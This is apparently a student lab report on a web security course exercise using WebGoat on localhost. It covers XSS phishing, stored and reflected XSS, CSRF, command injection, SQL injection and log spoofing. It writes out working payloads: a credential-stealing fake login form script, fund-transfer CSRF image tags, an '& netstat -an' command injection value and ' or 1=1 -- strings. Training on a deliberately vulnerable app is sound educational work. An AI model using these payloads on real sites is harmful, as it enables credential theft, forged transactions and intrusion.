2017-2018-2 20155230《網絡對抗技術》實驗9:Web安全基礎
實踐過程記錄
輸入java -jar webgoat-container-7.1-exec.jar
在瀏覽器輸入localhost:8080/WebGoat,進入WebGoat開始實驗
目錄
1.Phishing with XSS (網路釣魚)
2.Stored XSS Attacks
3.Reflected XSS Attacks
4.Cross Site Request Forgery(CSRF)
5.CSRF Prompt By-Pass
6.Command Injection
7.Numeric SQL Injection
8.Log Spoofing
9.String SQL Injection
10.LAB:SQL Injection(Stage 1:String SQL Injection)
1.Phishing with XSS (網路釣魚)
在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,完整的XSS攻擊代碼如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單
輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲並反饋給你
2.Stored XSS Attacks
創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,輸入標題,然後在message中輸入一串代碼,比如
<script>alert("20155233 attack succeed!");</script>
提交後,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功
3.Reflected XSS Attacks
當我們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展示給我們看
這時如果我們將帶有攻擊性的URL作為輸入源,例如依舊輸入,就會彈出對話框
存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板
反射型XSS攻擊是非持久化的,應用的場景比如欺騙用戶自己去點擊鏈接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的
4.Cross Site Request Forgery(CSRF)
寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,通過圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
我們在message框中輸入這樣一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
5.CSRF Prompt By-Pass
內容和前者相似,只不過這次需要確認轉賬,首先編輯內容
<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=500" width="1" height="1">
在瀏覽器中輸入URL
localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
點擊CONFIRM按鈕,再在瀏覽器中輸入URL
http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM,成功轉走了5000元:
6.Command Injection
點擊右上角小蟲對源碼進行修改,例如在
BackDoors.help
旁邊加上"& netstat -an & ipconfig"
之後在下拉菜單中能看到我們修改後的值
選中修改後的值再點view,可以看到命令被執行,出現系統網絡連接情況:
7.Numeric SQL Injection
通過註入SQL字符串的方式查看所有的天氣數據,加上一個1=1這種永真式即可達到我們的目的,利用firebug,在任意一個值比如101旁邊加上or 1=1:
選中Columbia,點Go,可以看到所有天氣數據:
8.Log Spoofing
- 我們輸入的用戶名會被追加到日誌文件中,所以我們可以使用障眼法來使用戶名為admin的用戶在日誌中顯示“成功登錄”,在User Name文本框中輸入20155233%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:
9.String SQL Injection
構造SQL註入字符串,在文本框中輸入‘ or 1=1 --:
點擊GO,可以查看到所以信息:
10.LAB:SQL Injection(Stage 1:String SQL Injection)
查看輸入框最大長度並修改長度:
以用戶John登錄,在密碼欄中輸入‘ or 1=1 --進行SQL註入:
實驗後回答問題
SQL註入攻擊原理,如何防禦
XSS攻擊的原理,如何防禦
CSRF攻擊原理,如何防禦
實驗總結與體會
2017-2018-2 20155230《網絡對抗技術》實驗9:Web安全基礎